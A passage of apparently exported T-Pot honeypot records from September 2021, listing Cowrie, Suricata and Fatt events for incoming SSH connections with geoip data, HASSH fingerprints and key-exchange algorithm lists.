"ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "189334179ce1", "@version": "1", "timestamp": "2021-09-20T11:07:14.836308Z", "@timestamp": "2021-09-20T11:07:14.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23187	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:15.835142+03	2021-09-20 14:15:07.183471+03	{"_id": "kAbjAnwBvYTbRNuEfgjG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1595253587132511, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40402, "dest_port": 22, "timestamp": "2021-09-20T11:07:15.835142Z", "@timestamp": "2021-09-20T11:07:15.835Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
36171	5.188.62.196	109.199.241.180	Suricata	2021-09-20 15:12:37.796939+03	2021-09-20 15:15:04.22669+03	{"_id": "xgYfA3wBvYTbRNuEV2A0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:12:37.669941+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 105084876044533, "payload": "AAADvA4Uo7vy5KL6gnP4+ci6p5ws2QAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAACgIvUWGU9py+lddBftR", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57714, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:12:37.796939Z", "@timestamp": "2021-09-20T12:12:37.796Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".............s......,.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.............(..E.S.r.W]..Q"}}	1	\N	\N	alert	\N	RU
23182	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:15.024599+03	2021-09-20 14:15:07.17647+03	{"_id": "cwbjAnwBvYTbRNuEewj6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "579c1b78a46e", "@version": "1", "timestamp": "2021-09-20T11:07:15.024599Z", "@timestamp": "2021-09-20T11:07:15.024Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23183	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:14.558543+03	2021-09-20 14:15:07.17847+03	{"_id": "dAbjAnwBvYTbRNuEfAhQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:54424 (192.168.176.2:22) [session: 189334179ce1]", "session": "189334179ce1", "@version": "1", "protocol": "ssh", "src_port": 54424, "dest_port": 22, "timestamp": "2021-09-20T11:07:14.558543Z", "@timestamp": "2021-09-20T11:07:14.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23184	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:14.836061+03	2021-09-20 14:15:07.179469+03	{"_id": "jQbjAnwBvYTbRNuEfAhQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54424, "dest_port": 22, "timestamp": "2021-09-20T11:07:14.836061", "@timestamp": "2021-09-20T11:07:14.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23185	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:14.348569+03	2021-09-20 14:15:07.180469+03	{"_id": "jgbjAnwBvYTbRNuEfAhQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "42ded88255ab", "@version": "1", "duration": 2.469298839569092, "timestamp": "2021-09-20T11:07:14.348569Z", "@timestamp": "2021-09-20T11:07:14.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23186	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:14.561311+03	2021-09-20 14:15:07.181469+03	{"_id": "jwbjAnwBvYTbRNuEfAhQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "189334179ce1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:14.561311Z", "@timestamp": "2021-09-20T11:07:14.561Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23188	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:15.024295+03	2021-09-20 14:15:07.18447+03	{"_id": "kQbjAnwBvYTbRNuEfgjJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 260942539666846, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 56450, "dest_port": 22, "timestamp": "2021-09-20T11:07:15.024295Z", "@timestamp": "2021-09-20T11:07:15.024Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
23189	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:16.035869+03	2021-09-20 14:15:07.18547+03	{"_id": "kgbjAnwBvYTbRNuEgAg1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:56818 (192.168.176.2:22) [session: 4f296091d354]", "session": "4f296091d354", "@version": "1", "protocol": "ssh", "src_port": 56818, "dest_port": 22, "timestamp": "2021-09-20T11:07:16.035869Z", "@timestamp": "2021-09-20T11:07:16.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23190	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:15.721086+03	2021-09-20 14:15:07.18747+03	{"_id": "nQbjAnwBvYTbRNuEgAg1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:52126 (192.168.176.2:22) [session: c976395e20d4]", "session": "c976395e20d4", "@version": "1", "protocol": "ssh", "src_port": 52126, "dest_port": 22, "timestamp": "2021-09-20T11:07:15.721086Z", "@timestamp": "2021-09-20T11:07:15.721Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23191	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:15.835549+03	2021-09-20 14:15:07.188471+03	{"_id": "mgbjAnwBvYTbRNuEgAg1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": 